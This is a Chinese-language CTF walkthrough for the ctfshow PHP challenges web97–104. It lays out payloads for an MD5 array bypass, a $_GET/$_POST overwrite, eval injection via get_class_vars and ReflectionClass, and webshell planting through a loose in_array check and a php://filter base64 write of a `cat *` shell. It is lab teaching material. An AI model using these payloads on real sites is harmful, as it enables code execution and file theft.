目录
web97
要传入的a跟b不相同,但是对应的md5加密要相同,这。。。但是MD5这个函数呢有个漏洞,传入的参数为数组的时候会发生错误,并返回NULL,我们可以利用这个漏洞,POST传参
a[]=1&b[]=5
web98
?是基本上所有语言通用的三元运算符
按照上面三元运算符的逻辑来看,不能直接GET传入
HTTP_FLAG=flag
因为第一个三元运算符成立就会让$_GET=&$_POST,会导致原本get传参的内容失效而等于POST传参的内容,所以我们可以随便GET传一个参数,再POST传参
HTTP_FLAG=flag
即可highlight_file($flag),因为$flag不是php文件,所以会导致报错而回显$flag的值
web99
先看一下陌生函数
array(),是空数组定义,题中定义了$allow为空数组
0x36d,其十进制为877
rand(),返回随机整数
array_push(),是向数组尾部插入新的值
file_put_contents(),写文件
因为in_array第三个参数没设置为true,所以该函数是宽松比较(==),字符串型会先转化为整型再比较,只要值相同就可以了,所以我们可以传参写木马进去,因为都是从1开始随机取整,我们可以直接让n=1.php这样猜中的概率大一些,不中就选其他吧
然后上蚁剑连接,就能拿到flag了
web100
这里呢=的优先级是比and跟or高的,所以v0直接就赋值v1了,可以构造一个
eval(var_dump(get_class_vars('ctfshow')););
即构造payload
?v1=1&v3=);&v2=var_dump(get_class_vars
0x2d的ascii码是-,替换裹上ctfshow{}就是flag了
web101
过滤了好多符号,但是空格没过滤掉,可以用Reflectionclass反射函数包涵类信息,直接构造payload
?v1=1&v2=echo new Reflectionclass&v3=;
根据提示,flag得将0x2d替换成-,后面一位还得爆破,爆出是2
ctfshow{76d3705a-00c7-45ec-891d-cea90f6fc5c2}
web102
这里的call_user_func是调用函数的意思
fun("参数"),相当于call_user_func(fun,"参数")
传参v2必须是纯数字字符串,而且v2还得是写入文件的内容,v3可以用伪协议转码写入
php://filter/write=convert.base64-decode/resource=1.php
上面的意思是base64解码后写入1.php文件,纯数字可以用ascii码转十六进制绕过,v1可以设置个十六进制转ascii码函数hex2bin(),经过尝试发现了能用的命令
<?=`cat *`; //打开当前目录的所有文件
转为base64为
PD89YGNhdCAqYDs
再转化为ascii的十六进制
5044383959474e6864434171594473
因为函数会去掉前面两位字符串,所以构造payload,get传参
v2=225044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
post传参
v1=hex2bin
然后访问1.php再查看页面源码,即可发现flag
web103
正则把含有p,h,p的字符串都过掉了,不过不影响我们构造payload,解法跟上题一样,GET传参
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST传参
v1=hex2bin
访问1.php并查看源码即可拿到flag
web104
shal函数就是计算散列函数,可以理解为一个不可逆的加密函数,这题没啥过滤,直接传两个相同的参数就好了,构造payload
GET传参:
v2=123
POST传参:
v1=123